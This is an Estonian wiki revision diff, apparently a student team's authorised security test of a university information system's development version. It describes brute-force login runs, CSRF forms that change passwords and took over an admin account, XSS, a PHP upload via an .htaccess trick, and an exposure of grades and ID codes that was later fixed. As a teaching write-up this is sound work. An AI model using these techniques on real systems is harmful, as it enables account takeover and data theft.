Security team: Difference between revisions
(70 intermediate revisions by 4 users not shown) | |||
Line 1: | Line 1: | ||
== 1. päev - Materjalidega tutvumine == | == 1. päev - Materjalidega tutvumine == | ||
Nädal algas kell 10.00 ruumis 314, kus tutvustati ülesandeid, mida on võimalik valida. | |||
Meie valisime ülesandeks: "ÕIS arendusversiooni turvatestimine". | |||
Meeskonna liikmeteks said Urmo Lihten, Taavi Podzuks, Matis Alliksoo, Alo Konno ja Sander Saarm. | |||
Tiimi nimeks valisime „Security team“. | |||
Pärat teema valimist andis juhendaja Margus Ernits meile juhtnöörid, kuidas oleks mõistlik tiimitööd teha, lisaks andis ta ka lingi mille pealt oleks kõige parem õppida: | |||
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project | https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project | ||
Jagasime teemad ära: | |||
::A1: Injection - Urmo | |||
::A2: Cross-Site Scripting (XSS) - Alo | |||
::A3: Broken Authentication and Session Management - Sander | |||
::A4: Insecure Direct Object References - Alo | |||
::A5: Cross-Site Request Forgery (CSRF) - Taavi | |||
::A6: Security Misconfiguration - Matis | |||
::A7: Insecure Cryptographic Storage - Matis | |||
::A8: Failure to Restrict URL Access - Urmo | |||
::A9: Insufficient Transport Layer Protection - Taavi | |||
::A10: Unvalidated Redirects and Forwards - Sander | |||
Igaüks tegi selgeks enda kaks teemat ja päeva lõpuks kandsime need ükteisele ja kuulajatele ette: | |||
Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br> | Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br> | ||
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br> | Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br> | ||
Line 22: | Line 34: | ||
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br> | Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br> | ||
===Security Team tegevusplaan=== | ===Security Team tegevusplaan=== | ||
1. Päev | 1. Päev | ||
:1.1 Tutvuda OWASP’iga. | |||
:1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega. | |||
:1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande. | |||
2. Päev | 2. Päev | ||
:2.1 Esitada tiimi tegevusplaani juhendajale. | |||
:2.2 Tutvuda turvariskidega natuke põhjalikumalt. | |||
:2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused. | |||
:2.4 Täiendada esimese päeva ettekannet. | |||
3. Päev | 3. Päev | ||
:3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist. | |||
:3.2 Saadud tulemuste dokumenteerimine. | |||
4. Päev | 4. Päev | ||
:4.1 Saadud tulemuste esitlemine ettekandega | |||
5. Päev | 5. Päev | ||
:5.1 Tulemuste parandamine wiki’s. | |||
== | == 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine== | ||
=== Fireforce plugin Firefoxis === | |||
Tekitatud sai ka password list faili pass.txt. | Tekitatud sai ka password list faili pass.txt. | ||
Line 94: | Line 60: | ||
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse. | Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse. | ||
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. | Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. | ||
Selleks sai sõna "incorrect". | Selleks sai sõna "incorrect". | ||
Määrata ära tuli ka, et mitu päringut sekundis tehakse. | Määrata ära tuli ka, et mitu päringut sekundis tehakse. | ||
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. | Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. | ||
Päringute tegemise kiirus vähem kui 1 päring/sekundis. | Päringute tegemise kiirus vähem kui 1 päring/sekundis. | ||
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt. | Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt. | ||
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel. | Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel. | ||
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi. | Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi. | ||
=== Burpsuite v1.4 === | |||
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna. | Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna. | ||
[[File:Bp2naide.jpg| | [[File:Bp2naide.jpg|250px|thumb|right|BurpSuite näidis screenshot UI'st]] | ||
Programm on juba loomult keerulisem. | Programm on juba loomult keerulisem. | ||
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080. | Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080. | ||
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. | Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. | ||
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta. | Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta. | ||
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema. | Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema. | ||
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki. | Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki. | ||
Ründe stiiliks määrata Pitchfork. | Ründe stiiliks määrata Pitchfork. | ||
Seejärel mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama. | |||
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid. | Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid. | ||
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet. | Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet. | ||
Peale teise programmi kasutamist jõudsime | Kahjuks ka see rünne ei toiminud ja ei suudetud parooli välja tuua. | ||
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5 | Proovitud sai ka lühemate nimekirjadega aga edutult. | ||
Peale teise programmi kasutamist jõudsime järeldustele, et Pitchfork meetod kasutab tegelikult meetodit, kus ta paaritab mõlema nimekirja kirja peale järjekorras samadel kohtadel sõnad, millest polnud kasu. Oleks pidanud kasutama ClusterBomb viisi aga meil jäi ajanappuse tõttu kasutamata. | |||
Samuti Brute Force ründeviisist polnud meil tegelikult kasu ja ei aita eesmärki täita effektiivselt ÕISi arendustestimisel. | |||
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5 sekundiks sisselogimine ära vastava teatega. | |||
Lisaks Brute force programmidele ei tule sealt vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse. | |||
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel. | Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel. | ||
=== CSRF - Cross-site request forgery === | |||
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat. | Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat. | ||
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine. | |||
Rünnatav inimene ise paneb meie tehtud veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse sealt info koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool. | |||
Lõime uue faili - crosssite.txt | Lõime uue faili - crosssite.txt | ||
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist. | DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist. | ||
Võtsime lehe Source Code lahti | Võtsime lehe Source Code lahti | ||
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele. | Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele. | ||
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole. | Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole. | ||
Current Password lahtri jätsime samaks. | Current Password lahtri jätsime samaks. | ||
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin". | Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin". | ||
Salvestasime faili ja käivitasime selle. | Salvestasime faili ja käivitasime selle. | ||
Tuli ette ainult lahter Current Passwordi ja Submit nupuga. | Tuli ette ainult lahter Current Passwordi ja Submit nupuga. | ||
Panime sisse tolle hetke parooli ning saatsime teele päringu | |||
Panime sisse tolle hetke parooli ning saatsime teele päringu. | |||
Seejärel saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud väärtus. | |||
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud. | Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud. | ||
=== Reflected Cross Site Scripting (XSS) === | |||
<ul> | <ul> | ||
<li>Lehel on selline Form:</li> | <li>Lehel on selline Form:</li> | ||
Line 176: | Line 168: | ||
</ul> | </ul> | ||
=== Faili uploadimine DVWA (Damn Vulnerable Web Application) näitel === | |||
==== Faili üleslaadimine: madal tase ==== | ==== Faili üleslaadimine: madal tase ==== | ||
[[File:DVWA_upload.png|250px|thumb|right|DVWA Upload]] | |||
<ul> | <ul> | ||
<li><b>DVWA Security</b> määrata: Low -> Submit</li> | <li><b>DVWA Security</b> määrata: Low -> Submit</li> | ||
Line 235: | Line 227: | ||
</ul> | </ul> | ||
== 3. päev == | == 3. päev - Dev-ÕIS'i turvatestimine== | ||
=== | === Acunetix Web Vulnerability Scanner v. 8 === | ||
[[File:PDFHinneteleht.png| | Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus: [[File:Tn Acunetix1.PNG|250px|thumb|right|Seaded]] | ||
Acunetix Web Vulnerability Scanner v. 8 | |||
http://www.acunetix.com/vulnerability-scanner/ | |||
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni. | |||
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi. | |||
Antud programm võimaldab skännida: | |||
:Cross-Site Scripting (XSS) | |||
:SQL Injection (blind test) | |||
:File inclusion | |||
:Code Execution | |||
:LDAP Injection | |||
:Cross Frame Scripting | |||
:SQL Injection (error msg. test) | |||
:CRLF Injection | |||
:Directory Travelsal | |||
:XPath Injection | |||
:URL Redirection | |||
:Application Error Message | |||
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur sai pärast 19h skännimist, kui oli tehtud ~9% skännimisest see peatada. | |||
19h skännimise tulemus oli: | |||
25 High alerts:[[File:Tn Acunetix.PNG|250px|thumb|right|XSS skänni tulemus]] | |||
HTTP Parameter Pollution (24) | |||
Weak Password (1) | |||
251 Medium alerts: | |||
Apache hhtpd Remote denial of service (2) | |||
Application error message (244) | |||
URL redirection (5) | |||
6 Low alerts: | |||
Apache mod_negotiation filename bruteforcing (2) | |||
Login page password-guessing attack (1) | |||
Sensitive page could be cached (3) | |||
21 Informational alerts: | |||
Broken links (18) | |||
Password type input with autcomplete enabled (3) | |||
Kuna esimest skänni ei saanud lõpule viia otsustasime teha ühe kategooria skänni. | |||
Skänniks sai valitud Cross-Site Scripting (XSS) | |||
See skänn kestis 3h ja selle jooksul saadeti 61461 reqesti | |||
Skänn tuvastas 742 high alerti (Cross Site Scripting) ja 21 informational alerti[Broken link(18), Password type input with autocomplete enabled (3)]. | |||
Kuna tegu on automaatiseeritud programmiga ei tähenda, et sait tegelt nii ebaturvaline on, osad asjad mida programm nõrkuseks loeb on mingi põhjusega lihtsalt nii seatud. | |||
Skänni tulemuste kohta on raske mingeid kindlaid järeldus teha, kuna igat viga tuleks analüüsida ja määrata ära reaalne oht saidile. | |||
Märkida võiks ära, et iga veebilehe omanik, kes on mures turvalisuse pärast võiks kaaluda selle toote kasutamist. | |||
=== Failure to Restrict URL Access === | |||
[[File:PDFHinneteleht.png|250px|thumb|right|Näide hinnetelehest]] | |||
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br> | Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br> | ||
Faile saab alla laadida enda profiili all õppesooritustes.<br> | Faile saab alla laadida enda profiili all õppesooritustes.<br> | ||
Line 245: | Line 291: | ||
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br> | Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br> | ||
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br> | Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br> | ||
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed | Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed lisati sellele lingile url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br> | ||
Proovisime ligi saada ka teistes kohtades lehtedele, mille õigus polnud, aga kõik olid kaitstud url'id. | |||
=== Subgraph Vega === | |||
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm. | Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm. | ||
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel. | Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel. | ||
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal. | Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal. | ||
[[File:Screenshot_vega1.png| | [[File:Screenshot_vega1.png|250px|thumb|right|Subgraph Vega screenshot]] | ||
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal. | Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal. | ||
Line 267: | Line 315: | ||
ning Finish. | ning Finish. | ||
[[File:Screenshot_vega2.png| | [[File:Screenshot_vega2.png|250px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]] | ||
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit). | Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit). | ||
Line 280: | Line 328: | ||
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind. | ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind. | ||
=== Wapiti === | |||
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. | Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. | ||
(Koduleht: http://wapiti.sourceforge.net/) | (Koduleht: http://wapiti.sourceforge.net/) | ||
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS | Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud kasutada HTTPS protokolli kasutada. | ||
=== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga=== | |||
====1. katse - ÕISi keskkkonna keelevahetus ===== | |||
[[File:Keeleseaded.png|thumb| | [[File:Keeleseaded.png|thumb|250px|right|ÕISi keeleseadete menüü]] | ||
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust. | Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust. | ||
Line 311: | Line 361: | ||
Katsetas koodi enda konto peal Taavi. | Katsetas koodi enda konto peal Taavi. | ||
====2. katse - ÕIS'i kasutaja parooli muutmine ==== | |||
[[File:Salasona_ois.PNG| | [[File:Salasona_ois.PNG|250px|thumb|right|Dev_OIS salasõna muutmisvorm]] | ||
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud. | Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud. | ||
Line 359: | Line 409: | ||
</source> | </source> | ||
[[File:Admin_proof.PNG| | [[File:Admin_proof.PNG|250px|thumb|right|Ligisaadud adminpaneelile]] | ||
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena. | Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena. | ||
Line 377: | Line 427: | ||
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole. | Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole. | ||
Rünnak oli edukas. | Rünnak oli edukas. | ||
[[File:Pass fixed.PNG| | [[File:Pass fixed.PNG|250px|thumb|right|Dev_OIS fixed]] | ||
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. | Andsime teada Valterile teada, et tegelikult tegime salajase ründe. | ||
Line 386: | Line 436: | ||
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt. | Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt. | ||
=== Burp suite=== | |||
Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br> | Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br> | ||
Line 405: | Line 456: | ||
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida. | Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida. | ||
===Nessuse algkäivitamine=== | |||
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br> | Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br> | ||
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br> | Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br> | ||
Line 413: | Line 466: | ||
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br> | Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br> | ||
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks. | Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks. | ||
=== Backtrack: w3af === | |||
[[File:Basic HTTP Auth.png| | [[File:Basic HTTP Auth.png|250px|thumb|w3af Basic HTTP Auth]] | ||
[[File:ÕISi küpsis.png| | [[File:ÕISi küpsis.png|250px|thumb|Mozilla Firefox küpsis]] | ||
[[File:W3af_Cookie.png| | [[File:W3af_Cookie.png|250px|thumb|w3af Cookie]] | ||
Võimalik kätte saada SSL Certificate. | Võimalik kätte saada SSL Certificate. | ||
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud: | Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud: | ||
Line 469: | Line 503: | ||
Skänneerimine | <b>Skänneerimine </b> | ||
<ul> | <ul> | ||
<li>The page language is: en</li> | <li>The page language is: en</li> | ||
Line 502: | Line 536: | ||
Allow: /schedule/ical | Allow: /schedule/ical | ||
</ul> | </ul> | ||
=== Soovitus === | |||
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks. | |||
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile. | |||
Proovisime üles laadida: | |||
<li>filmi | |||
<li>exe | |||
<li>jpm faile | |||
<br>kõik läks läbi ja sai uploadida. | |||
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel, | |||
<br>et lubatud oleks ainult näiteks: | |||
<li>.doc | |||
<li>.docx | |||
<li>.pdf | |||
== 4. päev - Presentatsiooni tegemine ja esitlemine == | == 4. päev - Presentatsiooni tegemine ja esitlemine == | ||
Koostasime presentatsiooni ja | Koostasime presentatsiooni ja esitlesime selle kuulajaskonnale. | ||
[[Media:Security_team_presentation.ppt]] | [[Media:Security_team_presentation.ppt]] | ||
Video (meie esitlus on alates 11:20'st): | |||
http://echo360.e-uni.ee/ess/echo/presentation/da8c32af-52d0-4a02-85fa-24f9323f8ce9 | |||
== Arvamused intensiivõppe nädala kohta == | == Arvamused intensiivõppe nädala kohta == | ||
<b>Alo:</b> Intensiivõppe nädal oli väga huvitav kogemus, nädalaga sai õpitud palju uut ja huvitavat. Meeskonnatöö sujus hästi ja nädala algul püsitatud eesmärgid said täidetud. Isiklikult soovitan intensiivõppe nädalal osaleda kõigil kellel vähegi võimalik. | |||
<b>Sander:</b> Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha. | |||
<b>Urmo:</b> Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist. | |||
<b>Taavi:</b>Intensiivõppenädal on väga hea võimalus lühikese ajaperioodiga omandada väga palju uusi ja huvitavaid teadmisi ning oskusi.Kindlasti soovitan kõigile intensiivõppenädalal osalemist.Ärge olge heidutatud ka inimesed kes arvavad, et neil on vähe või puudulikud oskused või teadmised, intensiivõppenädalal ei ole eeldatud, et te juba oskate asju vaid see nädal ongi õppimiseks. Tore kogemus ja kõik järgmine aasta osalema. | |||
<b>Matis:</b> Olin veel viimase hetkeni täiesti kahe vahel, et kas minna intensiivõppe nädalale või mitte. Siiski otsustasin minna ja olen väga väga rahul et sedasi otsustasin. Sain väga palju uusi teadmisi erinevate testprogrammide ja -keskkondade kasutamise kohta. Hea kogemus ka tiimiga töötada, ülesandeid jagada ja üldisel koostööl. Soovitan kindlasti ka teistel tudengitel osaleda intensiivõppe nädalal. Väga hea võimalus reaalseid ülesandeid ja probleeme, mis võivad tulevikus ette tulla, läbi teha. | |||
== Kasutatud materjalid == | |||
http://www.acunetix.com/support/vulnerability-checks.htm | |||
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting | |||
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting | |||
http://sectools.org/tag/web-scanners/ | |||
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/ | |||
http://www.acunetix.com/vulnerability-scanner/getting-started.htm | |||
Sander Saarm A22 | == Tegijad == | ||
:Alo Konno A21 | |||
:Urmo Lihten A21 | |||
:Taavi Podžuks A22 | |||
:Matis Alliksoo A22 | |||
:Sander Saarm A22 | |||
== Juhendajad == | == Juhendajad == | ||
Mart Mangus | Täname oma juhendajaid: | ||
:Mart Mangus | |||
Margus Ernits | :Margus Ernits | ||
:Valter Kungla | |||
Valter Kungla |
Latest revision as of 11:25, 2 April 2012
1. päev - Materjalidega tutvumine
Nädal algas kell 10.00 ruumis 314, kus tutvustati ülesandeid, mida on võimalik valida.
Meie valisime ülesandeks: "ÕIS arendusversiooni turvatestimine".
Meeskonna liikmeteks said Urmo Lihten, Taavi Podzuks, Matis Alliksoo, Alo Konno ja Sander Saarm.
Tiimi nimeks valisime „Security team“.
Pärat teema valimist andis juhendaja Margus Ernits meile juhtnöörid, kuidas oleks mõistlik tiimitööd teha, lisaks andis ta ka lingi mille pealt oleks kõige parem õppida:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Jagasime teemad ära:
- A1: Injection - Urmo
- A2: Cross-Site Scripting (XSS) - Alo
- A3: Broken Authentication and Session Management - Sander
- A4: Insecure Direct Object References - Alo
- A5: Cross-Site Request Forgery (CSRF) - Taavi
- A6: Security Misconfiguration - Matis
- A7: Insecure Cryptographic Storage - Matis
- A8: Failure to Restrict URL Access - Urmo
- A9: Insufficient Transport Layer Protection - Taavi
- A10: Unvalidated Redirects and Forwards - Sander
Igaüks tegi selgeks enda kaks teemat ja päeva lõpuks kandsime need ükteisele ja kuulajatele ette:
Sanderi konspekt: Media:Ois_materjal.pdf
Urmo esitlus: Media:Injection-Failure_URL_access.ppt
Taavi esitlus Media:A9.pdf
Taavi esitlus Media:A5.pdf
Matise esitlus Media:Insecure Cryptographic Storage.pdf
Matise esitlus Media:Security Misconfiguration.pdf
Alo Esitlus: Media:Cross-site_scripting_(XSS).ppt
Security Team tegevusplaan
1. Päev
- 1.1 Tutvuda OWASP’iga.
- 1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
- 1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
- 2.1 Esitada tiimi tegevusplaani juhendajale.
- 2.2 Tutvuda turvariskidega natuke põhjalikumalt.
- 2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
- 2.4 Täiendada esimese päeva ettekannet.
3. Päev
- 3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
- 3.2 Saadud tulemuste dokumenteerimine.
4. Päev
- 4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
- 5.1 Tulemuste parandamine wiki’s.
2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine
Fireforce plugin Firefoxis
Tekitatud sai ka password list faili pass.txt.
Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce. Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
